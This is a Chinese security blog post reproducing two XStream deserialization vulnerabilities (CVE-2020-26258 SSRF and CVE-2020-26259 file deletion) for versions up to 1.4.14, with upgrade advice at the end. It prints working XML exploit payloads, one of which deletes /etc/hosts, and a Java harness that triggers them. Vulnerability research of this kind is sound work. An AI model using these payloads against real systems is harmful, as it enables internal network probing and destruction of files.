漏洞描述
XStream是一个常用的Java对象和XML相互转换的工具。近日,XStream官方发布了新版的XStream 1.4.15,并修复了两个CVE漏洞,分别是CVE-2020-26258和CVE-2020-26259。
CVE-2020-26258:XStream反序列化导致SSRF
CVE-2020-26259:XStream反序列化导致任意文件删除
漏洞编号
CVE-2020-26258/CVE-2020-26259
CVSS评分/漏洞等级
8.9/高危
漏洞影响范围
XStream <= 1.4.14
漏洞POC
CVE-2020-26258
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='javax.activation.URLDataSource'>
<url>http://localhost:8080/internal/</url>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
CVE-2020-26259
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
<tempFile>/etc/hosts</tempFile>
</is>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
漏洞复现
以CVE-2020-26258为例,使用IDE创建一个maven工程,在pom.xml中添加xstream依赖后重载。
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.14</version>
</dependency>
在main/java下新建一个java类文件,代码如下:
import com.thoughtworks.xstream.XStream;
import java.io.IOException;
public class CVE_2020_26258 {
public static void main(String[] args) throws IOException {
String payload = "<map>n" +
" <entry>n" +
" <jdk.nashorn.internal.objects.NativeString>n" +
" <flags>0</flags>n" +
" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>n" +
" <dataHandler>n" +
" <dataSource class='javax.activation.URLDataSource'>n" +
" <url>http://localhost:8080/internal/</url>n" +
" </dataSource>n" +
" <transferFlavors/>n" +
" </dataHandler>n" +
" <dataLen>0</dataLen>n" +
" </value>n" +
" </jdk.nashorn.internal.objects.NativeString>n" +
" <string>test</string>n" +
" </entry>n" +
"</map>";
XStream xStream = new XStream();
xStream.fromXML(payload);
}
}
类似,对于CVE-2020-26259,将payload更改一下即可,该漏洞是任意文件删除漏洞,故而,我先在D盘根目录创建要给test.txt文件,然后构造payload进行删除。
构造payload,在运行之后,成功删除了之前创建的test.txt。
修复建议
更新xstream版本。如果是maven管理的项目,直接修改pom.xml中的依赖,修改xstream版本为1.4.15即可,如何是其他方式的,请自行从官网下载使用。
地址:http://x-stream.github.io/download.html
本文始发于微信公众号(锋刃科技):XStream 反序列化漏洞复现(CVE-2020-26258/CVE-2020-26259)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论